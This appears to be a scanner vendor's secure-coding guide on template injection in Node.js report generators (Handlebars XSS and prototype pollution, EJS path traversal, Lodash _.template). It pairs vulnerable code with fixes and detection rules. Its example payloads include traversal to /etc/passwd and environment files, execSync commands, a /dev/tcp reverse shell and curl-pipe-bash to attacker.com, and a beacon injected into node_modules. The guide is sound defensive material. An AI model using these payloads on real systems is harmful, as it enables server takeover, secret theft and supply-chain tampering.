Claude skill SSTI security — SA-SKL-SSTI: Handlebars triple-stache XSS, prototype pollution, EJS RCE, Lodash template injection
MCP skills that generate HTML audit reports, email notifications, or rendered documentation from user-controlled data are exposed to server-side template injection whenever user input reaches the template engine in a position where it is interpreted as template syntax rather than data. SSTI in a Node.js MCP skill is not a theoretical risk — it has a direct path from user-controlled repository metadata to full remote code execution on the skill server. SA-SKL-SSTI covers four template injection patterns that appear in MCP skill report generation: Handlebars triple-stache rendering unescaped HTML from stored user input, Handlebars prototype pollution via CVE-2019-19919, EJS res.render() with a user-controlled template filename enabling path traversal to RCE, and Lodash _.template() with a user-supplied template source string that executes arbitrary JavaScript.
Template engines are designed to be powerful: they evaluate expressions, call helpers, iterate over data structures, and in many cases execute arbitrary code. This power is precisely what makes them dangerous when user input reaches the wrong part of the engine. The safe usage model for all template engines is the same: developer-controlled templates, user-controlled data values only. The four SA-SKL-SSTI patterns are all deviations from this model: either user data is rendered in an unsafe context (triple-stache, raw HTML output), user data influences the prototype chain of objects in the context, user data controls what file the engine opens as a template, or user data is the template source string itself. Each deviation has a different severity and a different fix, but all four are caught by SkillAudit's static analysis.
SA-SKL-SSTI-001: Handlebars triple-stache renders HTML unescaped — stored XSS via submitted audit description
Handlebars templates use double-stache syntax {{variable}} for HTML-escaped output and triple-stache syntax {{{variable}}} for unescaped, raw HTML output. The double-stache is the safe default: it encodes <, >, &, ", and ' as HTML entities, preventing injected script tags from executing. The triple-stache is intended for cases where the value being rendered is already a known-safe HTML string generated by trusted code on the server. When a developer uses triple-stache on a field that contains user-submitted content — such as an audit report description, a repository name, or a scan finding summary — any HTML or script content submitted by the user is rendered literally in the page DOM, executing as code in every viewer's browser. This is a stored XSS vulnerability: the payload is submitted once and fires every time any user views the report:
// VULNERABLE: Handlebars template using triple-stache on user-supplied audit finding
// Any HTML in finding.description is rendered as raw, executable HTML
// report-template.hbs:
// <div class="finding">
// <h3>{{finding.title}}</h3>
// <div class="description">
// {{{finding.description}}} <!-- TRIPLE-STACHE: HTML is NOT escaped -->
// </div>
// <code>{{finding.codeSnippet}}</code>
// </div>
import Handlebars from 'handlebars';
import fs from 'fs';
import path from 'path';
async function generateAuditReport(auditId: string): Promise {
const audit = await db.getAudit(auditId);
const templateSrc = fs.readFileSync(
path.join(__dirname, 'templates', 'report-template.hbs'),
'utf-8'
);
const template = Handlebars.compile(templateSrc);
return template({
audit,
findings: audit.findings, // findings come from user-analyzed repos or user submissions
});
}
// ATTACK:
// Attacker submits a repository scan or audit with finding description:
// "Identified SQL injection in login function.
// "
//
// When any user views the generated audit report, the script executes:
// - Exfiltrates all cookies (including session cookies if not httpOnly)
// - Exfiltrates localStorage (including OAuth tokens stored there)
// - Silently redirects or clones the UI for credential phishing
// SECURE: use double-stache {{}} for all user-controlled data
// report-template-safe.hbs:
// <div class="finding">
// <h3>{{finding.title}}</h3>
// <div class="description">
// {{finding.description}} <!-- DOUBLE-STACHE: HTML is escaped automatically -->
// </div>
// <code>{{finding.codeSnippet}}</code>
// </div>
//
// Handlebars escapes: < → < > → > " → " ' → ' & → &
// The <script> tag is rendered as text, not executed
// IF rich HTML output is genuinely needed from user content:
// 1. Convert markdown to HTML server-side using a Markdown library
// 2. Sanitize the resulting HTML with a strict allowlist before rendering
import { marked } from 'marked';
import createDOMPurify from 'dompurify';
import { JSDOM } from 'jsdom';
const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window as unknown as Window & typeof globalThis);
function safeMarkdownToHtml(markdownInput: string): string {
// Convert Markdown to HTML
const rawHtml = marked.parse(markdownInput) as string;
// Sanitize: allow only safe formatting tags, strip all script/style/iframe/etc.
return DOMPurify.sanitize(rawHtml, {
ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'code', 'pre', 'ul', 'ol', 'li', 'h4', 'h5', 'h6'],
ALLOWED_ATTR: ['class'],
FORBID_TAGS: ['script', 'style', 'iframe', 'object', 'embed', 'form', 'input'],
FORBID_ATTR: ['onerror', 'onload', 'onclick', 'onmouseover'],
});
}
// Pre-process descriptions before passing to Handlebars:
function prepareAuditForTemplate(audit: Audit) {
return {
...audit,
findings: audit.findings.map(f => ({
...f,
// description is now a safe HTML string; render with triple-stache ONLY after sanitization
descriptionHtml: safeMarkdownToHtml(f.description),
})),
};
}
// In template: {{{finding.descriptionHtml}}} — safe because DOMPurify already stripped scripts
A triple-stache on a user-data field in an audit report is a stored XSS with high reach: Unlike reflected XSS that fires only when the victim follows a crafted link, stored XSS in an audit report fires for every user who views that report. In a team audit tool where reports are shared with multiple engineers and managers, a single attacker-submitted description can harvest session tokens from dozens of accounts. The fix is a one-character change per occurrence: replace {{{ with {{. SkillAudit flags every triple-stache that receives data from a database field originally sourced from user input.
{{{finding.description}}} or similar triple-stache on audit finding fields that originate from user-submitted repository data; HTML injected in the submission renders as executable code in every viewer's browser. Fix: use double-stache {{field}} for all user-data fields; if rich HTML is needed, convert markdown to HTML via marked then sanitize with DOMPurify before assigning to a template variable rendered with triple-stache. Detection: {{{ in Handlebars template on any field populated from db.getAudit(), req.body, or similar user-data sources → HIGH.SA-SKL-SSTI-002: Handlebars prototype pollution via __defineGetter__ in context — CVE-2019-19919 enables auth bypass
Handlebars 4.6.x and earlier versions contain a prototype pollution vulnerability (CVE-2019-19919) in their template context property lookup. When evaluating a template expression like {{constructor.prototype.isAdmin}} or when context data is passed that contains a key named __defineGetter__ or constructor, vulnerable Handlebars versions allow template execution to modify Object.prototype. Because Object.prototype is the prototype of every plain JavaScript object in the same process, properties set on it appear on all objects unless shadowed by own properties. An attacker who can control the context data passed to the Handlebars template engine can set Object.prototype.isAdmin = true, causing every subsequent if (obj.isAdmin) check in the entire Node.js process to pass — a process-wide authorization bypass that persists until the server restarts:
// VULNERABLE: Handlebars 4.6.x used for audit report rendering // CVE-2019-19919: attacker controls template context data, pollutes Object.prototype // package.json has: "handlebars": "^4.6.0" ← vulnerable range import Handlebars from 'handlebars'; // 4.6.0 // Template context is built from user-controlled audit submission data: async function renderScanReport(reportData: Record): Promise { const templateSrc = ` {{audit.name}}
Severity: {{audit.severity}}
{{#each findings}}{{this.title}}: {{this.description}}{{/each}} `; const template = Handlebars.compile(templateSrc); // reportData comes from req.body (user-submitted scan configuration) // reportData may contain: { "__defineGetter__": { "isAdmin": "() => true" } } // or in Handlebars 4.6: { "constructor": { "prototype": { "isAdmin": true } } } return template(reportData); // VULNERABLE: context data not sanitized } // ATTACK: // Attacker POST /api/scan with body: // { // "__proto__": { "isAdmin": true }, // "audit": { "name": "My Scan", "severity": "low" }, // "findings": [] // } // // In vulnerable Handlebars, template evaluation of prototype-traversing expressions // sets Object.prototype.isAdmin = true on the global Object.prototype. // All subsequent checks in this Node.js process: function checkAdmin(user: { id: string; role?: string }): boolean { return user.isAdmin === true; // isAdmin not an own property, falls through to Object.prototype // After pollution: Object.prototype.isAdmin === true // Every user object passes this check — complete authentication bypass } // SECURE OPTION 1: Upgrade to Handlebars 4.7.7+ (patches CVE-2019-19919 and later CVEs) // package.json: "handlebars": ">=4.7.7" // SECURE OPTION 2: Sanitize context objects before passing to Handlebars // Remove prototype-polluting keys from user-supplied data function sanitizeTemplateContext(data: unknown): unknown { if (typeof data !== 'object' || data === null) return data; if (Array.isArray(data)) { return data.map(sanitizeTemplateContext); } const clean: Record= Object.create(null); // null prototype — no Object.prototype for (const [key, value] of Object.entries(data as Record )) { // Strip prototype-polluting keys if (key === '__proto__' || key === 'constructor' || key === '__defineGetter__' || key === '__defineSetter__' || key === '__lookupGetter__' || key === '__lookupSetter__') { continue; // drop silently } clean[key] = sanitizeTemplateContext(value); } return clean; } async function renderScanReportSecure(reportData: Record ): Promise { const cleanData = sanitizeTemplateContext(reportData) as Record ; const templateSrc = ` {{audit.name}}
Severity: {{audit.severity}}
{{#each findings}}{{this.title}}: {{this.description}}{{/each}} `; const template = Handlebars.compile(templateSrc); return template(cleanData); } // SECURE OPTION 3: Defense-in-depth — freeze Object.prototype at application startup // Prevents any code path (not just Handlebars) from adding to Object.prototype // Add to your application entry point before any other module loads: Object.freeze(Object.prototype); // Now Object.prototype.isAdmin = true will silently fail (or throw in strict mode) // This is a last-line-of-defense backstop — it does not replace patching the library // SECURE OPTION 4: Use a logic-less template engine (Mustache) for user-influenced rendering // Mustache has no helper functions and no JavaScript execution — only property lookup import Mustache from 'mustache'; const output = Mustache.render(templateSrc, sanitizeTemplateContext(reportData)); // Even if data contains __proto__ keys, Mustache only reads own properties and // does not evaluate JavaScript expressions
Prototype pollution in a long-lived server process has global, persistent impact: Unlike prototype pollution in a browser (which affects only the attacker's own tab), prototype pollution in a Node.js server process affects all requests processed by that process until it restarts. If the pollution sets isAdmin: true on Object.prototype at 3 AM via a crafted API call, every subsequent request to that server instance — from every user — passes all obj.isAdmin checks until the deployment redeploys or the process crashes. The window of exploitation is unbounded. Upgrade Handlebars to 4.7.7+ immediately if any version below that is in use.
Object.prototype, enabling process-wide authorization bypass. Fix: upgrade to Handlebars 4.7.7+; sanitize context objects by removing __proto__, constructor, and __defineGetter__ keys; call Object.freeze(Object.prototype) at application startup as defense-in-depth backstop. Detection: handlebars dependency below 4.7.7 with template context sourced from req.body → HIGH.SA-SKL-SSTI-003: EJS res.render() with user-controlled template filename — path traversal to arbitrary file read and RCE
EJS (Embedded JavaScript) is a popular template engine for Express that allows arbitrary JavaScript execution inside <% ... %> tags. The res.render() API in Express + EJS takes a template name, resolves it relative to the application's views directory, reads the file, and executes any EJS tags inside it as JavaScript in the Node.js process context. When a developer passes a user-supplied value as the template name — for example, to allow dynamic report layouts — an attacker can traverse the filesystem using ../ sequences to point the template engine at any readable file on the server. If the targeted file happens to contain EJS delimiter characters (<% and %>), the attacker can achieve arbitrary JavaScript execution. Even without EJS syntax in the target file, an attacker can read arbitrary filesystem paths including /etc/passwd, environment files containing API keys, and configuration files:
// VULNERABLE: Express + EJS application passes user-supplied template name to res.render()
import express from 'express';
const app = express();
app.set('view engine', 'ejs');
app.set('views', path.join(__dirname, 'views'));
// Developer intent: allow "compact" vs "detailed" report layouts
// Actual behavior: attacker can pass any filesystem path as the template name
app.get('/api/report', async (req, res) => {
const auditId = req.query.id as string;
const layout = req.query.layout as string; // USER-CONTROLLED: "compact" or "detailed"
const audit = await db.getAudit(auditId, req.session.userId);
res.render(layout, { audit }); // VULNERABLE: layout is user-supplied
// Attacker sends: ?id=123&layout=../../../../../../etc/passwd
// EJS resolves: views/../../../../../../etc/passwd → /etc/passwd
// EJS reads /etc/passwd and renders it as text (file read achieved)
//
// Attacker sends: ?id=123&layout=../../../../../../proc/self/environ
// EJS reads environment variables: AWS_SECRET_ACCESS_KEY=..., DATABASE_URL=...
//
// For RCE via EJS evaluation:
// If attacker can write a file with .ejs extension anywhere on the filesystem
// (via a file upload endpoint on the same server), or if any config/log file
// contains the EJS delimiters <% and %>:
// content of attacker-writable file: <%= require('child_process').execSync('id') %>
// res.render('../../tmp/upload/evil') → executes 'id' command in Node.js process
});
// ANOTHER VULNERABLE PATTERN: template path constructed by string concatenation
app.get('/api/email-preview', (req, res) => {
const templateName = req.query.template as string; // "welcome", "password-reset", etc.
// Vulnerable: attacker can break out of the prefix with ../../ traversal
res.render(`emails/${templateName}`, { user: req.session.user });
// ?template=../../views/admin/user-delete → renders admin/user-delete.ejs
// ?template=../../../../etc/nginx/nginx.conf → reads Nginx config
});
// SECURE: maintain a strict allowlist of template names; map user intent to template name
const ALLOWED_REPORT_LAYOUTS = new Map([
['compact', 'report-compact'],
['detailed', 'report-detailed'],
['executive', 'report-executive'],
['json-export', 'report-json'],
]);
app.get('/api/report/secure', async (req, res) => {
const auditId = req.query.id as string;
const layoutKey = req.query.layout as string;
// Map user intent to a fixed template name — attacker cannot influence path at all
const templateName = ALLOWED_REPORT_LAYOUTS.get(layoutKey) ?? 'report-detailed';
const audit = await db.getAudit(auditId, req.session.userId);
res.render(templateName, { audit }); // templateName is from our allowlist — safe
});
// SECURE: for email templates, use a switch/case to prevent any path composition
app.get('/api/email-preview/secure', (req, res) => {
const templateKey = req.query.template as string;
let templateName: string;
switch (templateKey) {
case 'welcome': templateName = 'emails/welcome'; break;
case 'password-reset': templateName = 'emails/password-reset'; break;
case 'audit-complete': templateName = 'emails/audit-complete'; break;
default: templateName = 'emails/generic'; break;
// No fallthrough, no string concatenation with user input
}
res.render(templateName, { user: req.session.user });
});
EJS has no sandbox: <% %> tags execute real Node.js code in the same process: Unlike browser-side JavaScript engines that have Same-Origin Policy and browser security contexts, EJS template execution happens in the Node.js process with the same permissions as your application code. A <%= require('child_process').execSync('curl https://attacker.com/shell.sh | bash') %> expression in an EJS template runs with full server permissions, can read all files the Node.js process can read, make outbound network connections, and spawn processes. Any path traversal to an EJS file or to a file containing EJS delimiters is a direct path to RCE with no additional exploitation step required.
res.render(req.query.template) or res.render('prefix/' + req.query.name) passes user input directly or as suffix of a path to EJS; attacker traverses with ../../etc/passwd for arbitrary file read; with an attacker-writable file containing EJS delimiters, achieves RCE in Node.js process. Fix: use a static Map or switch/case to translate user intent keys into hardcoded template names; never concatenate user input into template paths. Detection: res.render(req.query.*) or res.render(req.body.*) or res.render(\`...${req} patterns → HIGH.SA-SKL-SSTI-004: Lodash _.template() with user-controlled interpolation string — arbitrary JavaScript execution in Node.js
Lodash's _.template() function compiles a template string into a JavaScript function. The template string can contain three types of delimiters: <%= expr %> for interpolated (HTML-escaped) values, <%- expr %> for raw interpolated values, and <% code %> for arbitrary JavaScript code execution. When the template source string itself is user-supplied — for example, allowing users to customize report templates or define notification message formats — any JavaScript expression inside <%= %> or <% %> blocks is compiled into a real JavaScript function and executed when the template is called. This includes require('child_process').execSync('...'), process.env dumps, and any other Node.js API accessible from the application's require scope. Unlike SSTI in a Python framework where the payload must traverse the object inheritance hierarchy, Node.js Lodash SSTI is a direct JavaScript execution primitive with no additional steps:
// VULNERABLE: Lodash _.template() called with user-supplied template source string
// User-controlled template content executes arbitrary JavaScript in the Node.js process
import _ from 'lodash';
import express from 'express';
const app = express();
app.use(express.json());
// Developer intent: let users customize how their audit report notifications look
// Actual behavior: users can inject arbitrary JavaScript via <%= %> delimiters
app.post('/api/notifications/template', async (req, res) => {
const { templateSource, data } = req.body;
// templateSource is user-supplied! e.g.:
// "Dear {{user.name}}, your audit of {{audit.repo}} is complete."
// But attacker sends:
// "<%= require('child_process').execSync('cat /etc/shadow').toString() %>"
try {
const compiledTemplate = _.template(templateSource); // COMPILES user JS into a function
const output = compiledTemplate(data); // EXECUTES the compiled function
res.json({ output });
} catch (err) {
res.status(500).json({ error: 'Template compilation failed' });
}
});
// ANOTHER VULNERABLE PATTERN: template source from database (but originally user-submitted)
app.get('/api/report/custom', async (req, res) => {
const templateConfig = await db.getCustomTemplate(req.session.userId);
// templateConfig.source was submitted by the user at account setup time
// Even stored in a database, it is still user-controlled
const compiledTemplate = _.template(templateConfig.source); // VULNERABLE: executes user JS
const report = await db.getLatestAudit(req.session.userId);
const output = compiledTemplate({ report, user: req.session.user });
res.send(output);
});
// ATTACK PAYLOAD examples:
// Simple data exfiltration:
// "<%= require('fs').readFileSync('/etc/shadow', 'utf-8') %>"
// Environment variable dump:
// "<%= JSON.stringify(process.env) %>"
// Reverse shell (Node.js):
// "<% require('child_process').exec('bash -c \"bash -i >& /dev/tcp/attacker.com/4444 0>&1\"') %>"
// Supply chain: modify package files
// "<% require('fs').appendFileSync('./node_modules/express/index.js', 'require(\"http\").get(\"https://attacker.com/beacon\")') %>"
// SECURE: Never pass user-supplied strings to _.template() as the template source.
// Only pass user data as the data argument (second argument), never as the first argument.
// SECURE OPTION 1: developer-defined templates, user data only in the data argument
const NOTIFICATION_TEMPLATES: Record = {
'audit-complete': _.template(
'Dear <%= user.name %>, your audit of <%= audit.repo %> is complete. '
+ 'Found <%= findings.length %> finding(s).'
),
'audit-failed': _.template(
'Dear <%= user.name %>, the audit of <%= audit.repo %> encountered an error.'
),
'invitation': _.template(
'<%= inviter.name %> has invited you to review the audit of <%= audit.repo %>.'
),
};
app.post('/api/notifications/template/secure', async (req, res) => {
const { templateKey, data } = req.body;
// User can only select which template to use, not supply the template source
const templateName = ['audit-complete', 'audit-failed', 'invitation'].includes(templateKey)
? templateKey
: 'audit-complete'; // safe default
const compiledTemplate = NOTIFICATION_TEMPLATES[templateName];
const output = compiledTemplate(data); // user data is in data, not in the template source
res.json({ output });
});
// SECURE OPTION 2: use a logic-less template engine (Mustache) for user-influenced formats
// Mustache templates only do property lookup and loops — no JavaScript execution at all
import Mustache from 'mustache';
app.post('/api/notifications/mustache', async (req, res) => {
const { templateSource, data } = req.body;
// Even if templateSource is user-supplied, Mustache cannot execute JavaScript
// {{user.name}} performs property lookup; {{{name}}} performs raw output but no code
// Mustache has no <% %> equivalent — no code execution delimiter exists
const output = Mustache.render(templateSource, data);
res.json({ output });
// Remaining risk: stored XSS if output is rendered as HTML without sanitization
// Use {{variable}} (Mustache auto-escapes) or sanitize with DOMPurify before rendering
});
Lodash _.template() compiles the template string to JavaScript source code and evaluates it via new Function(): This is not a sandboxed evaluation. The compiled function runs in the Node.js V8 engine with access to the full module system via require(), the full process environment via process.env, and all file system operations via fs. There is no content security policy, no restricted globals, and no sandbox boundary to escape from. User-supplied Lodash template source is equivalent to eval(userSuppliedCode) with the application's full server permissions. Mustache is the correct choice for logic-less rendering of user-influenced output templates — it has no execution delimiter and cannot evaluate JavaScript under any circumstances.
_.template(req.body.templateSource) or _.template(userConfig.source) passes user-controlled string as the template source to Lodash; <%= require('child_process').execSync('id') %> in the template string executes arbitrary shell commands in the Node.js process. Fix: pre-compile all templates from developer-controlled source strings at startup; map user intent to template name via allowlist switch/case; use Mustache for any template rendering where user input may influence the template structure. Detection: _.template(req.body.*) or _.template(db.getUserTemplate()) patterns → HIGH.SkillAudit detection summary — SA-SKL-SSTI
| Pattern ID | Severity | What SkillAudit flags | Fix |
|---|---|---|---|
| SSTI-001 | HIGH | Handlebars template uses {{{field}}} triple-stache on fields populated from audit findings, user submissions, or repository metadata; unescaped HTML enables stored XSS executing in every viewer's browser |
Use {{field}} double-stache for all user data; if rich HTML is needed, convert markdown with marked and sanitize with DOMPurify before assigning to a triple-stache variable |
| SSTI-002 | HIGH | Handlebars version below 4.7.7 with template context sourced from req.body or other user input; CVE-2019-19919 prototype pollution via __defineGetter__ or constructor.prototype in context data bypasses all obj.isAdmin checks process-wide |
Upgrade to Handlebars 4.7.7+; strip __proto__/constructor/__defineGetter__ keys from context objects; call Object.freeze(Object.prototype) at startup |
| SSTI-003 | HIGH | res.render(req.query.template) or string concatenation of user input into EJS template path; path traversal reads arbitrary files; files with EJS delimiters execute arbitrary JavaScript in the Node.js process |
Map user intent keys to hardcoded template names via Map or switch/case; never pass user input directly or as suffix to res.render() |
| SSTI-004 | HIGH | _.template(req.body.source) or _.template(userConfig.template) compiles user-supplied string as JavaScript via new Function(); <%= require('child_process').execSync(...) %> achieves RCE in Node.js process |
Pre-compile all templates from developer-controlled strings at startup; use Mustache for user-influenced template structures (no JavaScript execution delimiter exists) |
Related patterns: SA-SKL-ESCAPE output escaping security (XSS prevention beyond template engines), SA-SKL-DESER deserialization security (prototype pollution via JSON.parse and Object.assign), SA-SKL-PATH path traversal security (filesystem traversal patterns that SSTI-003 exploits), SA-SKL-XMLSVG XML/SVG injection (template injection patterns in document generation).
SkillAudit's SA-SKL-SSTI detection covers all four patterns through static analysis of template engine usage in MCP skill report generation code: triple-stache occurrences on data-layer fields, Handlebars version checks against known vulnerable ranges, res.render() calls with non-literal arguments, and _.template() calls with arguments sourced from request or database values. For the complete vulnerability taxonomy see the SA-SKL attack surface reference.
Scan your Claude skill for template injection vulnerabilities
SkillAudit detects Handlebars triple-stache XSS, prototype pollution, EJS RCE via path traversal, and Lodash template execution across the full SA-SKL-SSTI family in 60 seconds.
Get your free audit